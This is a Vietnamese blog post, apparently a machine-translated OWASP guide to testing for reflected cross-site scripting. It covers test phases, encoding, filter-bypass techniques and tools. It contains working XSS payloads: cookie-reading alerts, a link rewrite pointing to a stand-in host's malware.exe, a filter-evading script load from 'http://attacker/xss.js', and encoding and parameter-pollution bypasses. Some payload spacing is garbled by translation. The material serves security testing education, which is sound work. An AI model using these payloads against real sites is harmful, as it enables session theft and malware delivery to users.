Rate this post

Reflected Cross-site Scripting (XSS) xảy ra khi kẻ tấn công đưa mã thực thi của trình duyệt vào trong một phản hồi HTTP duy nhất. Cuộc tấn công được đưa vào không được lưu trữ trong chính ứng dụng; nó không liên tục và chỉ tác động đến những người dùng mở liên kết độc hại hoặc trang web của bên thứ ba. Chuỗi tấn công được bao gồm như một phần của các tham số URI hoặc HTTP được tạo thủ công, được ứng dụng xử lý không đúng cách và được trả lại cho nạn nhân.

Các bài viết liên quan:

XSS được Reflected là loại tấn công XSS thường xuyên nhất được tìm thấy trong tự nhiên. Các cuộc tấn công XSS được phản ánh còn được gọi là các cuộc tấn công XSS không liên tục và vì khối lượng tấn công được phân phối và thực hiện thông qua một yêu cầu và phản hồi duy nhất, chúng còn được gọi là XSS bậc nhất hoặc loại 1.

Khi một ứng dụng web dễ bị tấn công kiểu này, nó sẽ chuyển thông tin đầu vào chưa được kiểm chứng được gửi thông qua các yêu cầu trở lại máy khách. Mô thức chung của cuộc tấn công bao gồm một bước thiết kế, trong đó kẻ tấn công tạo và kiểm tra một URI vi phạm, một bước kỹ thuật xã hội, trong đó cô thuyết phục nạn nhân của mình tải URI này trên trình duyệt của họ và cuối cùng là thực thi mã vi phạm sử dụng trình duyệt của nạn nhân.

Thông thường, mã của kẻ tấn công được viết bằng ngôn ngữ JavaScript, nhưng các ngôn ngữ kịch bản khác cũng được sử dụng, ví dụ: ActionScript và VBScript. Những kẻ tấn công thường tận dụng các lỗ hổng này để cài đặt trình ghi khóa, đánh cắp cookie của nạn nhân, thực hiện hành vi trộm cắp khay nhớ tạm và thay đổi nội dung của trang (ví dụ: liên kết tải xuống).

Một trong những khó khăn chính trong việc ngăn chặn lỗ hổng XSS là mã hóa ký tự thích hợp. Trong một số trường hợp, máy chủ web hoặc ứng dụng web không thể lọc một số mã hóa của các ký tự, vì vậy, ví dụ: ứng dụng web có thể lọc ra <script>, nhưng có thể không lọc% 3cscript% 3e mà chỉ bao gồm một mã hóa thẻ khác .

Mục tiêu kiểm tra

  • Xác định các biến được phản ánh trong các câu trả lời.
  • Đánh giá đầu vào mà họ chấp nhận và mã hóa được áp dụng trở lại (nếu có).

Làm thế nào để kiểm tra

Black box testing

Black box testing sẽ bao gồm ít nhất ba giai đoạn:

Detect Input Vectors

Phát hiện các vectơ đầu vào. Đối với mỗi trang web, người kiểm tra phải xác định tất cả các biến do người dùng xác định của ứng dụng web và cách nhập chúng. Điều này bao gồm các đầu vào ẩn hoặc không rõ ràng, chẳng hạn như tham số HTTP, dữ liệu POST, giá trị trường biểu mẫu ẩn và các giá trị chọn hoặc radio được xác định trước. Thông thường, các trình chỉnh sửa HTML trong trình duyệt hoặc proxy web được sử dụng để xem các biến ẩn này. Xem ví dụ bên dưới.

Analyze Input Vectors

Phân tích từng vector đầu vào để phát hiện các lỗ hổng tiềm ẩn. Để phát hiện lỗ hổng XSS, người kiểm tra thường sẽ sử dụng dữ liệu đầu vào được tạo thủ công đặc biệt với mỗi vectơ đầu vào. Dữ liệu đầu vào như vậy thường vô hại, nhưng kích hoạt phản hồi từ trình duyệt web có biểu hiện lỗ hổng bảo mật. Dữ liệu kiểm tra có thể được tạo ra bằng cách sử dụng trình làm mờ ứng dụng web, danh sách tự động xác định trước các chuỗi tấn công đã biết hoặc theo cách thủ công. Một số ví dụ về dữ liệu đầu vào như sau:

<script>alert(123)</script>
"><script>alert(document.cookie)</script>

Để có danh sách đầy đủ các chuỗi kiểm tra tiềm năng, hãy xem Trang tính gian lận trốn tránh bộ lọc XSS.

Check Impact

Đối với mỗi đầu vào thử nghiệm được thử trong giai đoạn trước, người thử nghiệm sẽ phân tích kết quả và xác định xem kết quả đó có đại diện cho một lỗ hổng bảo mật có tác động thực tế đến bảo mật của ứng dụng web hay không. Điều này yêu cầu kiểm tra HTML của trang web kết quả và tìm kiếm đầu vào thử nghiệm. Sau khi tìm thấy, người kiểm tra xác định bất kỳ ký tự đặc biệt nào không được mã hóa, thay thế hoặc lọc ra đúng cách. Tập hợp các ký tự đặc biệt chưa được lọc dễ bị tấn công sẽ phụ thuộc vào ngữ cảnh của phần HTML đó.

Lý tưởng nhất là tất cả các ký tự đặc biệt HTML sẽ được thay thế bằng các thực thể HTML. Các thực thể HTML chính cần xác định là:

  • > (lớn hơn)
  • < (nhỏ hơn)
  • & (dấu và)
  • ‘(dấu nháy đơn hoặc dấu nháy đơn)
  • “(dấu ngoặc kép)

Tuy nhiên, danh sách đầy đủ các thực thể được xác định bởi các đặc tả HTML và XML. Wikipedia có một tài liệu tham khảo đầy đủ.

Trong ngữ cảnh của một hành động HTML hoặc mã JavaScript, một tập hợp các ký tự đặc biệt khác sẽ cần được thoát, mã hóa, thay thế hoặc lọc ra. Các ký tự này bao gồm:

  • \ n (dòng mới)
  • \ r (ký tự xuống dòng)
  • ‘(dấu nháy đơn hoặc dấu nháy đơn)
  • “(dấu ngoặc kép)
  • \ (dấu gạch chéo ngược)
  • \ uXXXX (giá trị unicode)

Để có tài liệu tham khảo đầy đủ hơn, hãy xem hướng dẫn về JavaScript của Mozilla.

ví dụ 1

Ví dụ: hãy xem xét một trang web có thông báo chào mừng Chào mừng% tên người dùng% và một liên kết tải xuống.

Người kiểm tra phải nghi ngờ rằng mọi điểm nhập dữ liệu có thể dẫn đến một cuộc tấn công XSS. Để phân tích nó, người kiểm tra sẽ chơi với biến người dùng và cố gắng kích hoạt lỗ hổng.

Hãy thử nhấp vào liên kết sau và xem điều gì sẽ xảy ra:

http://example.com/index.php?user= <script> alert (123) </script>

Nếu không áp dụng quy trình vệ sinh, điều này sẽ dẫn đến cửa sổ bật lên sau:

Điều này chỉ ra rằng có một lỗ hổng XSS và nó xuất hiện

mũ, người thử nghiệm có thể thực thi mã họ chọn trong trình duyệt của bất kỳ ai nếu anh ta nhấp vào liên kết của người thử nghiệm.

Ví dụ 2

Hãy thử đoạn mã khác (liên kết):

http://example.com/index.php?user=<script>window.onload = function () {var AllLinks = document.getElementsByTagName ("a"); AllLinks [0] .href = "http: // badexample .com / malware.exe ";} </script>

Điều này tạo ra hành vi sau:

XSS Ví dụ 2

Điều này sẽ khiến người dùng, nhấp vào liên kết do người thử nghiệm cung cấp, tải xuống tệp malware.exe từ một trang web mà họ kiểm soát.

Bỏ qua bộ lọc XSS

Các cuộc tấn công kịch bản trên nhiều trang web được phản ánh bị ngăn chặn khi ứng dụng web khử trùng đầu vào, tường lửa ứng dụng web chặn đầu vào độc hại hoặc bằng các cơ chế được nhúng trong trình duyệt web hiện đại. Người kiểm tra phải kiểm tra các lỗ hổng giả định rằng các trình duyệt web sẽ không ngăn chặn được cuộc tấn công. Các trình duyệt có thể đã lỗi thời hoặc đã bị vô hiệu hóa các tính năng bảo mật tích hợp. Tương tự, tường lửa của ứng dụng web không được đảm bảo để nhận ra các cuộc tấn công mới, chưa biết. Kẻ tấn công có thể tạo ra một chuỗi tấn công mà tường lửa của ứng dụng web không nhận dạng được.

Do đó, phần lớn việc ngăn chặn XSS phải phụ thuộc vào quá trình khử trùng đầu vào không đáng tin cậy của ứng dụng web. Có một số cơ chế có sẵn cho các nhà phát triển để làm sạch, chẳng hạn như trả lại lỗi, xóa, mã hóa hoặc thay thế đầu vào không hợp lệ. Phương tiện mà ứng dụng phát hiện và sửa lỗi đầu vào không hợp lệ là một điểm yếu chính khác trong việc ngăn chặn XSS. Danh sách từ chối có thể không bao gồm tất cả các chuỗi tấn công có thể xảy ra, danh sách cho phép có thể được cho phép quá mức, quá trình làm sạch có thể không thành công hoặc một loại đầu vào có thể được tin cậy không chính xác và vẫn chưa được vệ sinh. Tất cả những điều này cho phép kẻ tấn công phá vỡ bộ lọc XSS.

Trang tính Cheat Cheat Evasion của Bộ lọc XSS ghi lại các bài kiểm tra trốn tránh bộ lọc phổ biến.

Ví dụ 3: Tag Attribute Value

Vì các bộ lọc này dựa trên danh sách từ chối, chúng không thể chặn mọi loại biểu thức. Trên thực tế, có những trường hợp khai thác XSS có thể được thực hiện mà không cần sử dụng thẻ <script> và thậm chí không sử dụng các ký tự như <và> thường được lọc.

Ví dụ: ứng dụng web có thể sử dụng giá trị đầu vào của người dùng để điền vào một thuộc tính, như được hiển thị trong mã sau:

<input type = "text" name = "state" value = "INPUT_FROM_USER">

Sau đó, kẻ tấn công có thể gửi mã sau:

“onfocus =” alert (document.cookie)

Ví dụ 4: Different Syntax hoặc Encoding

Trong một số trường hợp, các bộ lọc dựa trên chữ ký có thể bị đánh bại một cách đơn giản bằng cách làm xáo trộn cuộc tấn công. Thông thường, bạn có thể làm điều này thông qua việc chèn các biến thể không mong muốn trong cú pháp hoặc trong enconding. Các biến thể này được trình duyệt chấp nhận là HTML hợp lệ khi mã được trả về, tuy nhiên chúng cũng có thể được bộ lọc chấp nhận.

Sau một số ví dụ:

"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e

Ví dụ 5: Bypassing Non-Recursive Filtering

Đôi khi việc khử trùng chỉ được áp dụng một lần và nó không được thực hiện một cách đệ quy. Trong trường hợp này, kẻ tấn công có thể đánh bại bộ lọc bằng cách gửi một chuỗi chứa nhiều lần thử, như thế này:

<scr <script> ipt> alert (document.cookie) </script>

Ví dụ 6: Including External Script

Bây giờ, giả sử rằng các nhà phát triển của trang đích đã triển khai mã sau để bảo vệ đầu vào khỏi việc bao gồm tập lệnh bên ngoài:

<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>

Tách biểu thức chính quy ở trên:

  • Kiểm tra một <script
  • Kiểm tra dấu ““ (khoảng trắng)
  • Bất kỳ ký tự nào trừ ký tự> cho một hoặc nhiều lần xuất hiện
  • Kiểm tra một src

Điều này rất hữu ích để lọc các biểu thức như <script src = “http: //attacker/xss.js”> </script>, đây là một cuộc tấn công phổ biến. Tuy nhiên, trong trường hợp này, có thể bỏ qua việc khử trùng bằng cách sử dụng ký tự> trong một thuộc tính giữa script và src, như sau:

http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>

Điều này sẽ khai thác lỗ hổng tập lệnh trang web chéo được phản ánh được hiển thị trước đó, thực thi mã JavaScript được lưu trữ trên máy chủ web của kẻ tấn công như thể nó được bắt nguồn từ trang web của nạn nhân, http: // example /.

Ví dụ 7: HTTP Parameter Pollution (HPP)

Một phương pháp khác để vượt qua các bộ lọc là Ô nhiễm tham số HTTP, kỹ thuật này được Stefano di Paola và Luca Carettoni trình bày lần đầu tiên vào năm 2009 tại hội nghị OWASP Ba Lan. Xem Kiểm tra ô nhiễm Thông số HTTP để biết thêm thông tin. Kỹ thuật né tránh này bao gồm việc tách một vectơ tấn công giữa nhiều tham số có cùng tên. Thao tác điều chỉnh giá trị của mỗi tham số phụ thuộc vào cách mỗi công nghệ web phân tích cú pháp các tham số này, do đó, kiểu trốn tránh này không phải lúc nào cũng có thể thực hiện được. Nếu môi trường được thử nghiệm nối các giá trị của tất cả các tham số với cùng một tên, thì kẻ tấn công có thể sử dụng

kỹ thuật s để vượt qua các cơ chế bảo mật dựa trên mẫu. Tấn công thường xuyên:

http://example/page.php?param=<script>[...]</script>

Tấn công bằng HPP:

http://example/page.php?param=<script&param=>[...]</&param=script>

Xem Trang tính Cheat Cheat Evasion của Bộ lọc XSS để có danh sách chi tiết hơn về các kỹ thuật trốn tránh bộ lọc. Cuối cùng, việc phân tích các câu trả lời có thể trở nên phức tạp. Một cách đơn giản để làm điều này là sử dụng mã bật lên một hộp thoại, như trong ví dụ của chúng tôi. Điều này thường chỉ ra rằng kẻ tấn công có thể thực thi JavaScript tùy ý mà hắn chọn trong trình duyệt của khách truy cập.

Gray-Box Testing

Thử nghiệm hộp xám tương tự như thử nghiệm hộp đen. Trong kiểm tra hộp xám, người kiểm tra bút có một phần kiến ​​thức về ứng dụng. Trong trường hợp này, thông tin về đầu vào của người dùng, các điều khiển xác thực đầu vào và cách người dùng nhập lại cho người dùng có thể được biết bởi pen-tester.

Nếu mã nguồn có sẵn (thử nghiệm hộp trắng), tất cả các biến nhận được từ người dùng phải được phân tích. Hơn nữa, người thử nghiệm nên phân tích bất kỳ quy trình vệ sinh nào được thực hiện để quyết định xem có thể phá vỡ những quy trình này hay không.

Công cụ

  • PHP Charset Encoder(PCE)  giúp bạn mã hóa các văn bản tùy ý đến và từ 65 loại bộ ký tự mà bạn có thể sử dụng trong các tải trọng tùy chỉnh của mình.
  • Hackvertor là một công cụ trực tuyến cho phép nhiều kiểu mã hóa và xáo trộn JavaScript (hoặc bất kỳ đầu vào chuỗi nào).
  • XSS-Proxy là một công cụ tấn công Cross-Site-Scripting (XSS) nâng cao.
  • ratproxy là một công cụ kiểm tra bảo mật ứng dụng web thụ động, bán tự động, được tối ưu hóa để phát hiện chính xác và nhạy cảm cũng như chú thích tự động về các vấn đề tiềm ẩn và các mẫu thiết kế liên quan đến bảo mật dựa trên việc quan sát lưu lượng truy cập hiện có, do người dùng khởi tạo trong web phức tạp 2.0 môi trường.
  • Burp Proxy là một máy chủ proxy HTTP / S tương tác để tấn công và thử nghiệm các ứng dụng web.
  • OWASP Zed Attack Proxy (ZAP) là một máy chủ proxy HTTP / S tương tác để tấn công và kiểm tra các ứng dụng web với một máy quét tích hợp.

Trả lời

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *

Contact Me on Zalo
Call now